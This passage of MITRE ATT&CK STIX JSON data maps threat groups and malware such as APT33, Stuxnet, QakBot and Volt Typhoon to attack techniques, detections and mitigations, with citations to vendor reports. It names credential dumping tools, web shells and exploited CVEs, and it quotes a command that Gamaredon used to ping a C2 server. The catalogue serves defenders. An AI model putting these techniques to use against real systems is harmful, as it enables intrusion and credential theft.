c0-9978-18798e514790","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5faa7f83-062b-4821-ad9b-b731a41c06d9","type":"relationship","created":"2019-05-29T13:53:36.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2019-06-07T20:33:39.479Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate Windows version and system architecture.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5fb6065d-398f-4655-9c57-cc4174f7a1a9","created":"2022-07-08T13:52:44.803Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can use legitimate OAuth refresh tokens to authenticate with OneDrive.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-09T15:16:54.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fbeeb2a-e658-40fa-834c-68430bafbc4f","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.864Z","description":"The net start and net stop commands can be used in [Net](https://attack.mitre.org/software/S0039) to execute or stop Windows services.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fc1a3c2-dfdb-41d9-97cf-fa6825078bca","type":"relationship","created":"2020-02-25T19:19:09.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:24:39.531Z","description":"Limit remote user permissions if remote access is necessary.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5fc4e1c8-69f4-4bf6-bcd3-6a02e9547f61","created":"2024-05-16T17:35:20.468Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T17:35:20.468Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has conducted pre-compromise reconnaissance for victim host information.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5fc69974-db3b-4475-b37b-07c4731b1a6f","created":"2022-04-15T13:50:12.466Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has tested connectivity between a compromised machine and a C2 server using [Ping](https://attack.mitre.org/software/S0097) with commands such as `CSIDL_SYSTEM\\cmd.exe /c ping -n 1`.(Citation: Symantec Shuckworm January 2022)","modified":"2022-04-18T18:03:39.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5fc9189b-7c9b-43f7-8d60-96a1f497e395","created":"2022-07-18T18:31:01.246Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) collected information on user accounts via the whoami command.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T20:36:41.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5fccce48-b648-40e4-a58a-18f068189daf","created":"2020-12-14T17:34:58.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:21:01.923Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) can propagate via removable media using an autorun.inf file or the CVE-2010-2568 LNK vulnerability.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fd13ed0-28df-4131-a653-0fa5a760ff95","type":"relationship","created":"2019-04-10T15:25:18.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"},{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2020-03-19T22:16:55.032Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349), [Mimikatz](https://attack.mitre.org/software/S0002), and ProcDump to dump credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5fd8740a-6197-4099-a4d9-af0c9421cfc2","created":"2022-05-05T18:04:14.749Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can store captured system information locally prior to exfiltration.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T18:42:54.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fdc377d-9d14-4b2c-a039-e8123c119b85","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor for processes being viewed that may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fdd0fba-8d1d-411a-b47b-3e5aae512892","type":"relationship","created":"2020-05-27T13:22:06.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.348Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the hostname, computer name, Windows version, processor speed, machine GUID, and disk information on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5fdf6cb3-8046-4c32-aca6-75cda70b7614","created":"2020-07-15T20:23:36.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"},{"source_name":"ESET Carberp March 2012","description":"Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You’re in a Black Hole, Stop Digging. Retrieved July 15, 2020.","url":"https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.254Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has exploited multiple Windows vulnerabilities (CVE-2010-2743, CVE-2010-3338, CVE-2010-4398, CVE-2008-1084) and a .NET Runtime Optimization vulnerability for privilege escalation.(Citation: ESET Carberp March 2012)(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fe0a46c-7a06-4aea-9768-d611d3f3116d","type":"relationship","created":"2020-11-10T16:24:47.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}],"modified":"2020-11-10T16:24:47.121Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated victim information using FTP.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fe30af6-e590-4285-9766-af390cdfba0f","type":"relationship","created":"2020-10-02T17:00:44.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T17:00:44.709Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","target_ref":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fea3b6d-2b9b-4d5e-ba3b-884689f5e2ea","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor executed commands and arguments for token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fea62e7-67f8-4ff2-875d-a48393f99135","type":"relationship","created":"2019-02-21T21:17:38.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.647Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has installed ANTAK and ASPXSPY web shells.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ff56332-1e9e-4853-baae-5918e41882ac","created":"2023-04-10T16:07:16.789Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:07:16.789Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has obtained an ARP spoofing tool from GitHub.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ff771c3-7d1c-4d04-a81e-76e374951e72","type":"relationship","created":"2020-05-27T22:05:32.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-05-27T22:05:32.076Z","description":"Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used batch scripts to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5ffa504a-4458-49af-affd-f392bf5dd0ef","created":"2022-06-03T15:53:26.486Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: SecureWorks August 2019)","modified":"2022-06-03T15:53:26.486Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ffaf382-3e91-409b-932f-24d107c59308","type":"relationship","created":"2019-04-19T14:37:04.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-16T18:09:35.686Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information. (Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ffaf9bf-10a0-477f-88ff-5b9e7d5831cc","type":"relationship","created":"2020-12-17T18:57:21.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-17T18:57:21.258Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used Ntdsutil to dump credentials.(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60026624-0ae9-439a-8ee8-faee7ce6ddf0","type":"relationship","created":"2019-05-29T14:33:43.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-05-29T20:09:49.511Z","description":"(Citation: Proofpoint TA505 Jan 2019)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--43155329-3edf-47a6-9a14-7dac899b01e4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6004b82e-5860-4a5c-892e-775086598594","created":"2021-09-30T13:20:52.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T20:51:42.627Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use signed loaders to evade detection.(Citation: ATT QakBot April 2021)(Citation: Deep Instinct Black Basta August 2022)\n","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60069193-4573-420f-9b2e-e9a42b95af12","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-21T17:38:37.967Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has gained access through VPNs including with compromised accounts and stolen VPN certificates.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 